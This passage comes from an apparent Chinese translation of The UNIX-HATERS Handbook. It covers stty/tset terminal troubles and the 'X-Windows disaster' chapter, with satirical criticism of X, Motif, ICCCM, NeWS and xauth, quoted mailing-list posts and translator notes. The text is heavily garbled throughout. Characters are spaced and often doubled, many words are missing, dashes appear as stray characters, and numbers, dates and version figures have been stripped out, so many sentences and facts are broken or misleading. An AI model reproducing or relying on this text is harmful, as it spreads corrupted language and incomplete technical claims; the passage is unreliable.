我 像 没没 头 苍 蝇 一 撞撞 了 一 圈 却 毫毫 无 法 , 最 好 悻 悻 地 放 , 发发 信 给 旁 边 一 Unix 大<br />
神 ( 字 保 密 但 他 人 就就 在 这 邮 件 列 表表 ), 这 哔 哔 直 的 Unix 到 是 怎 确 端<br />
尺尺 寸 的 , 及 我 该 怎 么 , 然 启 Zmacs 盒 盒 我 一 开 始 就就 该 这 。<br />
大 神 回 信 了 , 但 不 确 切 “ 这 大 概概 是 Unix 的 缺 省 效 果 吧 。 你 检 查 stty 的 行 和 列 置 了<br />
吗 ?” 我 该 得 懂 的 , 但 我 没没 懂 , 所 我 走 过 去去 这 是 什 么 意 思 。 我 们 出 题 的<br />
Sun 机 , 结 果 很 清 楚楚 , 输 入 “stty all” 发发 现 运 行 的 Unix 认 端 高 度 就就 有 <br />
行 , 于 是 我 “ 什 么 置 了 环 境 还 不 行 ?”<br />
“ 因 配 置 信 息 存 放 在 多 个 地 方 。 你 得 运 行 tset。”<br />
“ 但 我 运 行 了 , 就就 在 我 的 登 录 文 件 。”<br />
“ 呃 , 你 运 行 了 , 但 tset 没没 有 任 何 参参 数 , 我 不 知 道 是 什 么 效 果 。”<br />
“ 真 该 死 , 我 从 它 登 录 过 的 Unix 拷拷 来 的 。 大 概概 我 自 得 时 该 读 读 tset 的 文 档 ,<br />
还 是 读 文 档 让 我 更 糊 涂 ?”<br />
“ 不 , 别 读 文 档 , 没没 用 的 。”<br />
“ 那 么 我 该 怎 么 ? 你 的 初 始 化 文 件 有 什 么 ?” 他 把把 他 的 初 始 化 文 件 显 示 出 来 。<br />
“, 我 是 有 这 段 又 神 秘秘 又 模 糊 的 shell 码 而 已 。 我 不 知 道 是 怎 么 起 作 用 的 , 但 已 经<br />
随 身 带 着 多 了 …盚…盚”<br />
嗷 嗷 。 现 在 我 意 到 想 理 解解 中 任 何 一 点 点 都 是 徒 的 ( 居居 然 大 神 都 搞搞 不 懂 , 我 等 凡<br />
俗 子 还 是 算 了 吧 ), 接接 着 我 回 到 打 开 初 始 化 文 件 , 想 用 暴 力 试 出 我 要 的 参参 数 。<br />
再 登 录 去去 , 输 入 “stty all”, 看 看 ! 于 认 我 的 端 是 行 了 ! 但 是 不 要 急 , 这 <br />
是 我 们 在 几 分 钟 前 置 的 。
诅 咒 (curses) 背 的 魔 法<br />
· ·<br />
一 边 嗅 着 程程 序 某 个 角 落 的 腐 烂 气 息 , 我 又 试 了 几 把把 , 结 果 发发 现 某 些 参参 数 是 在 层 端 对<br />
象 或或 别 的 地 方 置 的 , 而 当 用 户户 登 录 时 却 没没 有 新 初 始 化 , 所 你 一 不 小小 心 就就 得 到 了 别<br />
人 登 录 的 遗 留 物 。 外 端 属属 性 信 息 还 四 处 乱 扔 , 而 不 是 保 存 在 一 个 中 的 地 方 ,<br />
因 要 竭 尽 全 力 才 能 让 各 处 保 持 一 致 。 咳 。<br />
我 不 知 道 , 对 你 们 来 这 大 概概 不 新 鲜 了 吧 , 但 我 觉 得 触触 目 惊 心 , 我 简 直 想 把把 我 的 VMS 机<br />
要 回 来 了 。
第 章<br />
X-Windows 之 灾<br />
如 何 让 -MIPS 的 工 作 站 和 .M 的 IBM<br />
PC 一 推 爬 行<br />
如 果 让 X Window 的 计 者 去去 制 汽汽 车 , 那 么 驾 驶 至 少少 藏 着 个<br />
方 向 , 每 个 的 原原 理 都 不 一 盒 盒 但 你 用 车 的 立立 体 声 音 响 控 制<br />
换 档 。 很 有 用 的 能 。<br />
盒 盒 马 斯 核 罗 纳 姆 ,DEC<br />
X Window 就就 是 图 形 用 户户 界 的 伊 朗 门 一 出 混 了 政 治治 诺 、 盟 友<br />
累 、 营 销 传 和 十十 足 欲 的 悲 剧 。X Window 对 内 存 就就 好 像 罗 纳 德 核 <br />
对 金 钱 。 多 的 “ 巫 师 界 ” 导 致 了 庞 大 身 躯 对 内 存 的 空空 前 消 耗 。 而 支<br />
离 破 碎 的 依 赖 、 无 处 不 在 的 死 锁 , 及 派 别 林 立立 的 协 , 深 了 僵 持 局<br />
、 放 大 了 争 件 , 还 传 播播 了 双 标 准 。<br />
在 某 些 方 ,X 的 奢 侈 和 美 的 马 桶 座 圈 不 相 盒 盒 比 如 运 行<br />
Sun Open Look 的 时 钟 程程 序 , 然 要 消 耗 .M 内 存 ! 牺 牲 海 军 准 将将<br />
电 脑<br />
<br />
都 不 够 , 甚 至 凡 无 的 XR“xclock” 程程 序 需 要 K, 并 且<br />
X 的 内 存 需 求 还 在 增 长 。<br />
X: 第 一 种 模 块 化 的 软 件 灾 难<br />
开 始 有 一 个 人 开 发发 X Window。 在 麻 省 理 大 学 (MIT) 计 算 机 科<br />
学 验 五 楼楼 的 一 个 房 间 , 一 个 神 神 叨 叨 的 黑 盒 盒 他 熟 悉 斯 坦 福 大 学<br />
<br />
译 注 Marcus J. Ranum, 计 算 机 和 网 全 专 家 , 曾 供 于 DEC 至 。<br />
<br />
译 注 美 国 前 总 罗 纳 德 核 非 法 向 伊 朗 出 售 军 火 , 并 军 火 掮掮 的 回 扣扣 援援 尼 拉拉 瓜 反 政 府 军 ,<br />
黎 巴 嫩 媒 体 揭揭 露 。 内 幕 复 杂 、 情 节 恶 劣 、 手手 段 狡 , 堪 称 美 国 宪 政 史 第 一 大<br />
案 。<br />
<br />
译 注 Sun 和 AT&T 在 义 的 图 形 用 户户 界 观 感 规 范 。<br />
<br />
译 注 Commodore , 市 的 家 用 电 脑 , 配 备 K RAM + K ROM, 运 行 ROM BASIC。<br />
<br />
译 注 该 是 指指 鲍 伯 核 斯 凯 勒 (Bob Scheifler),X Window 系 的 最 初 计 者 一 。
· · X-Windows 之 灾<br />
的 W 窗窗 系 (V 目<br />
<br />
的 一 部 分 ) 盒 盒 决 编 写 一 个 分 布 式 的 图 形 显 示<br />
服 。 按按 照 这 个 想 法 , 所 谓 户户 端 程程 序 运 行 在 一 计 算 机 , 而 显 示<br />
出 现 在 一 运 行 所 谓 窗窗 服 程程 序 的 计 算 机 。 这 两 机 不 是<br />
VAX 还 是 Sun 都 无 所 谓 , 要 通 过 网 相 并 各 自 现 了 X 协 就就 行 。<br />
X 是 从 石 头 蹦 出 来 的 。 那 时 候 没没 有 现 成 的 Unix 图 形 协 ,X 就就 义 了<br />
一 个 标 准 盒 盒 还 带 有 免 的 现 。X 就就 好 像 用 了 一 张 均 卡 对 大 多 数 用<br />
程程 序 而 言言 , 每 个 人 的 硬 件 陡 到 和 免 的 MIT X 服 能 支 持 的 水水 。<br />
直 到 今 ,X 服 仍 然 把把 高 计 算 机 成 龟 端 。 你 需 要 相 当 好 的<br />
硬 件 配 置 才 能 让 X 跑 得 快 一 些 盒 盒 硬 件 厂厂 商 最 喜 的 局 。<br />
没 有捯 图 形 的 图 形 用 户 界 面<br />
按按 照 计 ,X 要 运 行 个 程程 序 盒 盒 xterm、xload 和 xclock( 这 表表 明 入<br />
窗窗 管 理 是 来 才 有 的 想 法 )。 在 X 成 形 于 MIT 的 最 初 几 , 这 些<br />
是 仅 有捯 的 运 行 在 窗窗 系 中 的 程程 序 。 注 意 , 中 有 xclock 有 图 形 用 户户 界<br />
的 子 , 有 一 个 现 了 剪 切 粘 贴 ( 支 持 一 种 数 据据 类 型 ), 对 待 颜 色<br />
管 理 全 都 得 过 且 过 。 还 有 疑 吗 ? 今 的 X 是 搞搞 砸 在 这 些 地 方 。<br />
在 十十 , 大 多 数 运 行 X 的 计 算 机 , 用 程程 序 增 长 到 了 四 个 xterm、<br />
xload、xclock 和 窗窗 管 理 , 而 大 多 数 xterm 中 运 行 的 然 是 Emacs!X <br />
对 是 运 行 Emacs 最 奢 侈 的 方 式 。 相 比 强 迫 人 们 购 买 昂 贵 的 图 端 来 运 行<br />
字 符 程程 序 , 将将 端 处 理 放 内 的 置 肯 要 便 和 容 易 多 , 外 大<br />
家 不 用 对 图 端 的 难 看 字 体 。 这 是 个 权 衡衡 的 题 。<br />
Motif 自 渎 套 装<br />
X 让 Unix 厂厂 商 得 到 了 多 梦 寐 求 的 东 西 让 不 计 算 机 的 程程 序 协<br />
作 的 一 套 标 准 , 然 而 X 做 得 很 不 彻 。X 让 程程 序 员 得 显 示 窗窗 和 图 , 但<br />
<br />
译 注 W Window, 斯 坦 福 大 学 开 发发 的 窗窗 系 , 是 V 目 的 一 部 分 , 在 命 和 概概 念 是 X Window 的<br />
先 驱 。<br />
<br />
译 注 V Project, 斯 坦 福 大 学 的 微 内 操 作 系 开 发发 目 , 品 是 V 操 作 系 , 和 AT&T<br />
System V 不 。<br />
我 们 在 写 作 时 力 避 免 成 段 的 脚 注 , 但 这 必 多 两 , 因 X 颠 倒 了 户户 端 和 服 的 意 义 。<br />
在 所 有 它 的 户户 端 / 服 系 中 , 服 都 是 运 行 用 程程 序 的 端 机 ( 就就 是 服 提 供 服 ,<br />
数 据据 或或 者 计 算 力 )。 但 出 于 某 种 不 告 人 的 原原 因 ,X 坚 持 把把 运 行 在 端 机 的 程程 序 做 “ 户户 端 ”,<br />
该 程程 序 把把 窗窗 显 示 在 “ 窗窗 服 ”。 我 们 遵 循 X 的 术 语 来 讨 图 形 户户 端 / 服 。 当 你 看 到 “<br />
户户 端 ”, 请 想 这 是 “ 运 行 用 程程 序 的 端 机 ”, 而 看 到 “ 服 ”, 请 想 这 是 “ 显 示 输 出 接接 输 入 的 <br />
地 机 ”。
X: 第 一 种 模 块 化 的 软 件 灾 难 · ·<br />
字 提 按按 钮 、 菜 单 、 滚 , 及 图 形 用 户户 界 必 备 的 任 何 它 素 。 因<br />
程程 序 员 们 自 己 手手 ,Unix 社 区 瞬 间 拥拥 有 了 套 迥 的 界 标 准 。 一 群<br />
多 来 编 程程 不 超 过 十十 行 的 人 在 麻 萨 诸 塞 州 的 布 找 到 一 幢 砖 房 子 盒 盒<br />
曾 经 是 某 个 倒 电 脑 的 总 部 盒 盒 然 拿 出 了 针 对 题 的 “ 方 案 ”,<br />
这 就就 是 开 放 件 基 金 的 Motif 。<br />
然 而 Motif 的 效 果 不 过 是 让 Unix 运 行 缓 慢 , 很 慢 很 慢 。Motif 一 个 明 确<br />
的 计 目 标 , 是 让 X Window 系 拥拥 有 惠 机 在 大 约 在 的 窗窗 管<br />
理 能 力 , 及 微 Windows 的 美 视 觉 效 果 。 我 们 不 打 语 。<br />
这 就就 是 烹 制 灾 难 的 秘秘 方 首 先 将将 微 Windows 盒 盒 汇汇 编 语 言言 编 写<br />
盒 盒 作 参参 照 , 然 在 X 的 到 四 个 件 层 山山 寨寨 Windows 的 外 观 , 最<br />
把把 捣 鼓 出 来 的 东 西 做 “Motif”。 现 在 并 排排 摆 放 两 计 算 机 , 一 <br />
运 行 Windows, 一 运 行 Unix/Motif, 看 哪 个 慢 慢 吞 吞 , 再 看 着 它 黯 然<br />
失 色 , 看 着 它 亡 忽 焉 。 作 发发 行 Motif 是 无 力 和 麦 金 塔 OS 或或 者 DOS/<br />
Windows 争 的 。<br />
ICCCM: 害 命 凶 器<br />
分 离 窗窗 管 理 和 窗窗 服 , 是 X 的 基 计 目 标 一 , 咒 语 “ 机<br />
制 , 而 非 策 略 ”。 换 ,X 服 提 供 绘 制 屏 幕 和 管 理 窗窗 的 机 制 , 但<br />
不 现 任 何 人 机 交 互 的 特 策 略 。 在 当 时 这 看 起 来 是 个 不 错 的 想 法 ( 尤尤 是<br />
在 一 个 试 验 各 种 方 法 解解 决 人 机 交 互 题 的 研 究 社 区 中 ), 但 成 了 现 <br />
版 的 用 户户 界 巴 别 塔 。<br />
到 朋 友 配 备 单 键 鼠 标 的 麦 金 塔 电 脑 前 , 你 无 障 碍 地 使 用 到 朋<br />
友 配 备 双 键 鼠 标 的 Windows 电 脑 前 , 你 还 是 无 障 碍 地 使 用 现 在 试 试<br />
搞搞 你 朋 友 的 X 端 个 鼠 标 键 , 每 各 自 的 能 都 不 一 , 还 没没 算<br />
组 键 Ctrl- 键 、Shift- 右 键 、Ctrl-Shift-Meta- 中 键 , 等 等 等 等 。X 不 仅 对<br />
用 户户 如 , 对 程程 序 员 是 如 。<br />
结 果 呢 , 那 就就 是 X 协 最 雷 人 的 文 献 一 “ 户户 程程 序 间 通 信 规 范 手手<br />
册 ” , 昵 称 “ICCCM”、“ICE 立立 方 ”, 或或 者 “IL”( 意 思 是 “I, 个 字<br />
母 ,L”)。 这 份 手手 册 描 述 了 通 过 X 服 彼 通 信 时 ,X 户户 端 必 使 用 的<br />
<br />
译 注 Open Software Foundation, 成 立立 的 非 盈 利 组 , 目 标 是 Unix 的 现 建 立立 开 放 标 准 ,<br />
与 X/Open 并 并 “ 开 放 组 (The Open Group)”。<br />
<br />
译 注 Motif 既 指指 一 种 图 形 用 户户 界 规 范 , 指指 遵 循 该 规 范 的 组 件 包 。IEEE 义 了 Motif API。<br />
<br />
译 注 X Consortium, 独 立立 的 非 盈 利 组 , 成 立立 于 , 目 的 是 促 X Window 系 的 开 发发 、 演 化<br />
和 维 护 。<br />
<br />
译 注 Inter Client Communication Conventions Manual。
· · X-Windows 之 灾<br />
协 内 容 包 罗 万 象 , 比 如 窗窗 管 理 、 选 择 、 键 和 颜 色 表表 焦 点 , 及 <br />
管 理 , 白 了 就就 是 想 补补 救 X 计 者 搞搞 和 搞搞 错 的 所 有 事 情 。 但 ICCCM 出 现<br />
得 晚 , 当 发发 布 时 , 已 经 有 人 在 编 写 窗窗 管 理 和 编 程程 包 , 所 ICCCM<br />
的 每 个 新 版 都 得 屈屈 服 于 过 去去 的 错 误 , 不 然 就就 无 法 做 到 前 向 容 。<br />
ICCCM 晦 涩 难 懂 , 简 直 不 是 给 人 看 的 , 即 便 一 字 不 漏 地 笃 行 无 法 <br />
作 。 在 现 X 编 程程 包 、 窗窗 管 理 , 甚 至 简 单 用 程程 序 时 , 遵 循 ICCCM<br />
是 最 严 酷 的 折折 磨 。 难 了 , 真 的 难 了 ,ICCCM 的 多 好 处 不 值 得 那 些 激 烈<br />
的 报 怨 。 某 个 不 遵 循 ICCCM 的 程程 序 伤 及 无 辜 这 就就 是 什 么 X 的 剪 切<br />
粘 贴 总 是 不 常 ( 除 非 操 作 简 单 的 ASCII 文 )、 什 么 拖 放 锁 死 系 、<br />
什 么 颜 色 表表 剧 烈 闪 烁 并 且 永永 无 法 确 装装 、 什 么 键 焦 点 落 于 光<br />
标 、 什 么 按按 键 跑 到 错 误 的 窗窗 , 及 什 么 一 个 弹 出 窗窗 然 出<br />
整 个 程程 序 。 在 编 写 用 程程 序 时 , 如 果 指指 望 通 过 遵 循 ICCCM 现 互 操 作 , 那<br />
就就 得 和 每 种 别 的 用 及 每 种 窗窗 管 理 一 起 行 交 叉 测 试 , 还 要 央 求 <br />
者 的 开 发发 商 在 发发 布 时 修 复 题 。<br />
总 而 言言 ,ICCCM 不 啻 于 一 场 技 术 灾 难 是 破 烂 协 倾 倒 的 有 毒 废 料 、<br />
是 前 向 容 性 的 梦 魇 , 了 解解 决 过 时 的 没没 事 找 事 的 所 谓 题 ,ICCCM 提 出 繁<br />
琐 的 无 济 于 事 的 所 谓 方 案 。 缺 少少 标 准 的 Unix 就就 象 业 界 的 裸 体 皇 帝 ,ICCM<br />
是 他 身 叠 叠 伤 结 痂 和 疤 痕 , 企 图 掩 道 德 和 心 智 的 。<br />
使 用 这 些 包 编 程程 , 就就 象 用 捣 烂 的 土 豆 做 个 书 架 。<br />
─睜─睜 杰 米 核 扎 瓦 斯 基<br />
X 迷 信 录<br />
X 就就 是 信 思 想 的 大 , 于 在 计 算 机 业 界 流 毒 广 , 中 多 都 被被<br />
直 接接 当 成 “ 事 ”, 却 不 见 任 何 反 思 。<br />
迷 信 :X 展 示 了 客 户 端 / 服捱 器 计 算 模 型 的 威 力<br />
一 提 到 网 窗窗 系 , 某 些 分 不 清 技 术 和 经 济 的 鼓 吹 手手 便 来 了 , 他 们<br />
唾 沫沫 四 射射 地 推 销 户户 端 / 服 模 型 , 称 来 的 手手 掌掌 电 脑 运 行 X 服 <br />
, 而 别 的 程程 序 运 行 在 街街 对 的 克 雷 超 级 计 算 机 。 无 意 中 他 们 被被 硬 件 厂厂<br />
商 利 用 来 推 销 每 的 新 系 , 毕 在 一 个 用 就就 能 时 拖 慢 户户 端 、 服 <br />
及 间 网 的 情 况 , 最 好 有 个 法 强 迫 用 户户 先 升 级 硬 件 , 再 把把 X 塞 给 他<br />
们 。
X 迷 信 录<br />
· ·<br />
数 据据 的 户户 端 / 服 模 型 ( 服 存 放 数 据据 , 户户 端 请 求 数 据据 ) 很<br />
清 。 计 算 力 的 户户 端 / 服 ( 服 是 极 昂 贵 或或 试 验 性 的 超 级 计 算 机 ,<br />
户户 端 是 桌 作 站 或或 者 便 携携 式 电 脑 ) 很 清 。 但 图 形 显 示 的 户户 端 / 服<br />
模 型 把把 这 些 接接 随 意 斩 断 , 就就 象 所 罗 门 王 真 的 把把 孩 子 劈 开 , 双 腿 、<br />
心 脏 和 眼 归 服 , 双 臂 和 肺 归 户户 端 , 头 在 地 滚 来 滚 去去 , 鲜 血血 溅<br />
得 到 处 都 是 。<br />
X 的 户户 端 / 服 观 念 有 个 题 , 那 就就 是 除 非 逐 个 考 察察 体 用 ,<br />
否 无 法 确 户户 端 和 服 间 的 分 。 有 些 用 ( 例 如 飞 行 模 拟拟 ) 需<br />
要 所 有 鼠 标 运 有 些 用 需 要 鼠 标 点 击 有 些 用 需 要 两 种 事 件 的 复<br />
杂 组 , 决 于 程程 序 的 状 或或 者 鼠 标 在 屏 幕 的 置 。 有 些 程程 序 需 要 每 秒 都<br />
更 新 屏 幕 的 刻 度 和 组 件 有 些 程程 序 需 要 画 个 时 钟 , 那 么 服 完<br />
成 显 示 更 新 , 要 有 渠 道 告 知 即 。<br />
确 的 户户 端 / 服 模 型 是 让 服 备 扩扩 展展 性 。 据据 需 要 , 端 机<br />
运 行 的 用 程程 序 将将 特 殊 的 扩扩 展展 码 载 到 服 , 然 在 服 <br />
共 享 。 这 些 载 的 码 能 绘 制 窗窗 、 追 踪 用 户户 输 入 、 提 供 快 交 互 反 馈 ,<br />
时 借 的 高 级 协 和 用 层 通 信 , 把把 网 流 到 最 。<br />
计 算 机 辅 计 程程 序 例 , 当 构 建 在 这 的 扩扩 展展 服 , 该 <br />
用 载 一 段 绘 制 芯 片 的 程程 序 , 然 一 个 字 , 从 这 时 起 , 要 提 供<br />
这 个 字 和 标 , 户户 端 就就 能 在 屏 幕 的 任 意 置 绘 制 芯 片 。 好 处 还 不 这<br />
些 , 户户 端 载 程程 序 和 数 据据 结 构 来 绘 制 整 个 计 图 , 当 窗窗 滚 和 刷 新<br />
时 , 这 些 码 自 被被 调 用 , 无 需 服 的 介 入 。 用 户户 滑 地 拖 芯 片 显<br />
示 , 而 不 引 起 网 流 或或 者 文 切 换 , 在 交 互 完 成 , 户户 端 要 发发 <br />
一 消 息 告 知 服 就就 行 了 。 这 在 率 ( 带 ) 通 信 线 路 , 运 行 交 互<br />
式 户户 端 成 能 。<br />
起 来 很 科 吗 ? 詹詹 姆 斯 核 高 斯 林 在 Sun 计 NeWS 时 , 扩扩 展展<br />
的 窗窗 服 是 他 采 用 的 策 略 。 这 , 用 户户 界 包 成 了 一 个 扩扩 展展<br />
的 服 程程 序 , 中 是 户户 端 直 接接 载 到 服 的 类 (Sun TNT <br />
包 的 做 法 )。 在 不 用 程程 序 中 , 包 的 对 象 共 享 服 的 对 象 , 既<br />
节 省 时 间 和 内 存 , 各 个 用 的 观 感 一 致 且 制 。 在 NeWS 中 , 窗窗 管 理<br />
身 服 现 , 因 在 行 窗窗 操 作 时 , 消 除 相 的 网 开 销<br />
─睜─睜 及 伴 随 的 争 件 、 文 切 换 和 交 互 题 , 而 在 X 包 和 X 窗窗 <br />
管 理 中 , 这 些 都 是 大 麻 烦 。<br />
<br />
译 注 《 圣 经 核 约 》 载 , 所 罗 门 王 假 意 将将 一 个 孩 子 劈 开 , 借 断 谁 是 孩 子 的 真 母 亲 。<br />
<br />
译 注 Network extensible Window System,Sun 在 计 的 窗窗 系 , 基 于 解解 释 性 语 言言<br />
(PostScript) 描 述 屏 幕 绘 制 和 用 户户 交 互 。<br />
<br />
译 注 The NeWS Toolkit,Sun 发发 布 , 现 Open Look 规 范 的 包 , PostScript 编 写 ,<br />
运 行 在 NeWS 服 。
· · X-Windows 之 灾<br />
最 NeWS 能 在 经 济 和 政 治治 存 活 , 因 它 要 解解 决 的 题 好 是 X<br />
生 来掆 就就 要 制 的 题 。<br />
迷 信 :X 让 Unix“ 易捎 用 ”<br />
图 形 界 无 法 消 除 层 操 作 系 的 计 错 误 和 能 缺 失 , 最 多 能 糊<br />
一 层 窗窗 户户 纸 。<br />
“ 拖 放 ” 就就 试 图 打 扮 Unix 文 件 系 , 但 Unix 的 计 中 几 没没 有 考 虑<br />
过 桌 , 因 现 拖 放 是 在 一 个 麻 烦 堆 砌 一 个 麻 烦 , 结 果 到 处 都 是 <br />
小小 的 漏 洞 和 扎 手手 的 边 缘 , 用 “ 丢 放 ” 来 称 呼 这 效 不 稳稳 的 表表 现 能 更 <br />
。<br />
Sun“ 开 放 窗窗 ” 的 文 件 管 理 就就 是 一 个 锃 亮 锃 亮 的 例 子 , 在 这 <br />
程程 吐 文 件 显 示 成 爱 的 红 色 小小 炸 弹 图 标 , 当 用 户户 双 击 图 标 时 , 就就 用 文 编<br />
辑 打 开 文 件 全 无 害 , 但 没没 用 。 如 果 用 户户 凭 直 觉 行 事 , 将将 图 标 拖 到<br />
DBX 调 试 , 那 么 发发 生 的 事 情 有 恐 怖 份 子 才 喜 整 个 系 突突 然 间<br />
弹 不 得 , 因 X 服 像 水水 泵 一 把把 吐 文 件 ( 中 大 的 地 址 间 隙 <br />
填 满 ) 抽 到 调 试 窗窗 , 这 将将 耗 尽 交 换 空空 间 , 然 发发 生 剧 烈 爆 炸 ,<br />
在 原原 地 留 一 个 更 大 的 吐 文 件 , 填 满 文 件 系 、 推 倒 服 , 最 把把 文 件<br />
管 理 炸 成 碎 片 ( 这 个 臭 虫 已 经 修 复 )。<br />
但 惊 喜 还 在 如 果 是 超 级 用 户户 在 操 作 , 文 件 管 理 的 威 力 还 要 <br />
烈 ! 当 用 户户 拖 一 个 目 录 到 它 身 , 计 算 机 发发 出 “ 哔 ” 的 一 声 , 窗窗 方<br />
显 示 “ 命 参参 数 无 效 ”, 然 埋 头 删 除 整 个 目 录 的 内 容 , 屏 幕 显 示<br />
都 懒 得 更 新 。<br />
帖 子 展展 示 了 X“ 通 过 隐 晦 获 得 全 ” 的 手手 段 。<br />
期 Wed, Jan :: -<br />
来 自 戴 维 核 查 曼 <br />
发发 给 UNIX 痛 者<br />
题 MIT-MAGIC-COOKIE-<br />
今 我 首 尝尝 试 X 的 一 个 计 目 标 , 就就 是 透 明 地 通 过 网 行 显 示 。 所 我 登 录 到<br />
地 机 boris, 然 运 行 了 X 服 , 再 通 过 telnet 窗窗 接接 到 想 运 行 程程 序 的 机 ,<br />
akbar。 但 程程 序 一 运 行 就就 崩 溃 了 , 留 吐 文 件 。 好 吧 , 我 肯 得 耍 套 魔 法 才 能 让 X 跨<br />
网 运 行 , 愚 蠢蠢 。 找 个 Unix 巫 师 吧 , 原原 来 要 把把 环 境 DISPLAY 置 成 boris:。 大<br />
<br />
译 注 Open Windows, Sun 开 发发 的 作 站 桌 环 境 , 是 Open Look 规 范 的 一 个 现 , 容<br />
SunView、NeWS 和 X 协 , 用 于 SunOS 和 Solaris, 来 被被 CDE 和 GNOME . 。<br />
<br />
译 注 Unix 流 行 的 源 码 级 调 试 , 要 用 在 Solaris、AIX、IRIX 和 BSD Unix, 调 试 C、C++、Pascal<br />
和 Fortran 程程 序 。
X 迷 信 录<br />
· ·<br />
概概 X 蠢蠢 了 , 我 从 哪 来 都 不 知 道 , 还 是 知 道 但 讲 不 出 来 ? 好 吧 , 这 就就 是 你 的 Unix( 请<br />
勿 妄 自 揣揣 测 是 什 么 意 思 )。<br />
再 运 行 程程 序 , 我 被被 告 知 服 没没 有 获 得 授 权 , 无 法 接接 户户 端 , 再 找 一 巫 师 吧 。 对<br />
了 , 你 得 运 行 xauth, 告 boris 和 akbar 通 信 。 于 某 种 原原 因 , 这 件 事 情 每 个 用 户户<br />
得 自 己 手手 。 我 考 虑 了 秒 钟 这 到 能 避 免 哪 门 子 全 题 ? 想 不 出 来 。 算 了 , 就就 运<br />
行 xauth 吧 , 然 别 瞎 操 心 了 。xauth 的 命 处 理 真 是 喋 喋 不 休 啊 。 表表 看 ,xauth<br />
是 在 操 作 .Xauthority 文 件 , 好 吧 , 假 我 们 希 望 给 boris 增 一 。 这 输 入 <br />
xauth> help add<br />
add dpyname protoname hexkey add entry<br />
看 不 懂 。 假 dpy 是 Unix 对 “ 显 示 ” 的 称 呼 , 那 么 protoname 该 是 …盚…盚 嗯 …盚…盚 协 <br />
字 。 到 我 该 用 哪 个 协 呢 ? 或或 缺 省 值 就就 行 了 。 才 把把 DISPLAY 置 成 “boris:<br />
”, 这 个 是 不 是 dpyname 呢 ?<br />
xauth> add boris:0<br />
xauth: (stdin): bad "add" command line<br />
好 极 了 。 我 想 我 还 需 要 知 道 hexkey 是 什 么 。 那 大 概概 是 角 扳扳 手手 吧 , 我 把把 他 到 大 摇<br />
座 时 用 过 。 算 了 , 先 读 手手 册 。<br />
我 不 把把 整 个 手手 册 页 放 在 这 , 不 你 还 想 自 己 运 行 “man xauth” 图 个 子 呢 。<br />
是 add 命 的 解解 释 <br />
add displayname protocolname hexkey<br />
在 授 权 文 件 中 , 指指 的 显 示 、 协 和 密 钥 增 一 个 授 权 目 。 密 钥 是 一<br />
个 长 度 偶 数 的 制 字 符 串 , 每 两 个 字 符 组 成 一 个 制 数 字 , 分 别 表表<br />
示 该 数 字 的 高 和 比 特 。 如 果 协 称 有 一 个 , 那 么 被被<br />
当 成 MIT-MAGIC-COOKIE-。<br />
完 全 不 知 所 云 。 了 跨 过 这 该 死 的 网 运 行 程程 序 , 我 得 敲 入 一 堆 制 数 字 , 的 意<br />
思 有 老 爷 才 知 道 。 还 有 MIT-MAGIC-COOKIE- 有 不 得 了 ? 凭 什 么 就就 成 了 缺 省 协 <br />
称 ?<br />
显 然 拉拉 的 意 是 让 我 把把 Unix 机 扔 到 窗窗 外 。 我 照 了 。<br />
任 何 用 过 X 的 人 都 知 道 , 这 个 发发 帖 人 的 错 误 在 于 一 来 就就 运 行<br />
xauth, 他 该 多 多 学 ( 要 怪 就就 怪 用 户户 , 程程 序 是 无 辜 的 )。<br />
来 自 奥 林 核 席 瓦 斯 <br />
期 Wed, Jan :: EST<br />
发发 给 ian@ai.mit.edu<br />
抄抄 zvona@gang-of-four.stanford.edu、UNIX 痛 者<br />
题 MIT-MAGIC-COOKIE-<br />
在 卡 内 基 梅 隆 大 学 , 据据 我 所 知 没没 有 任 何 人 在 使 用 xauth。 我 知 道 不 少少 人 就就 对 xauth 不<br />
满 了 , 我 还 知 道 几 个 相 当 生 的 X 黑 , 比 如 有 个 家 贴 过 一 段 程程 序 , 截截 获 来 自 X<br />
服 的 按按 键 输 入 ( 因 偷 看 别 人 的 ), 他 就就 是 这 的 研 究 生 就就 是 这 些 人<br />
当 中 , 没没 有 谁 使 用 xauth。 他 们 就就 这 么 冒 险 地 活 着 , 或或 者 每 当 需 要 使 用 X 网 接接 时 ,<br />
有 点 神 经 地 运 行 一 xhost 来 授 权 。
· · X-Windows 之 灾<br />
当 反 思 自 己 理 解解 和 使 用 这 些 系 而 付 出 的 时 间 , 我 得 出 结 这 真 是 一 个 认 知 的 黑 洞 ,<br />
就就 象 一 个 恶 棍 潜 伏 在 暗 处 , 等 粗 心 的 人 钩 。<br />
我 真 的 想 像 不 出 计 这 些 系 的 人 的 思 维 图 , 他 们 的 思 维 方 式 怪 到 什 么 程程 度 ? 我 最<br />
多 能 想 到 一 个 被被 外 来 声 淹 没没 的 秩秩 序 搜搜 索 系 ─睜─睜 某 些 精 神 病 人 表表 现 出 的 行 方 式 。 他<br />
们 力 显 得 贯 、 理 性 , 但 最 却 被被 复 杂 的 声 击 , 表表 现 出 胡 言言 乱 语 、 剧 烈 颤 抖 , 或或<br />
者 编 写 xauth。<br />
在 我 们 生 活 的 社 , 编 写 xauth 的 人 一 投 票 、 开 车 、 买 枪 和 结 婚 生 子 , 想 到 这<br />
个 真 是 让 人 不 寒 而 栗 。<br />
迷 信 :X 可 “ 定 制 ”<br />
…盚…盚 因 X 就就 是 一 坨 烧 得 通 红 的 铁 坯 , 你 爱 怎 么 捏捏 就就 怎 么 捏捏 , 但 能 用<br />
手手 。 不 过 请 放 心 , 随 着 生 活 件 的 改 善 , 现 在 你 不 已 经 需 要 全 部 用 手手 了 。 例<br />
如 “ 惠 视 用 户户 环 境 ” 就就 很 体 贴 , 人 家 甚 至 准 备 了 一 个 图 标 , 你 一 点 击<br />
就就 能 打 开 资 源 管 理 , 然 点 击 .Xdefaults 文 件 就就 能 弹 出 vi! 要 你 聪 明 到<br />
懂 得 .Xdefaults, 板 到 能 用 vi, 这 真 是 个 省 时 省 力 的 妙 玩 意 儿 。 帖<br />
子 更 一 , 指指 出 了 .Xdefaults 在 表表 达 时 没没 有 提 供 的 极 度 灵 活 与 无 限 自 。<br />
期 Fri, Feb :: -<br />
来 自 beldar@mips.com( 德 纳 核 科 )<br />
我 乔 希 给 你 发发 了 于 .Xdefaults 的 邮 件 。 我 对 答 案 很 感 趣 。X 程程 序<br />
如 何 处 理 缺 省 配 置 ? 是 不 是 每 个 程程 序 独 立立 现 ?<br />
如 果 程程 序 基 于 Xt 编 写 , 那 么 好 歹 遵 循 某 种 似 是 而 非 的 标 准 , 因 你 就就 遍 历 程程 序<br />
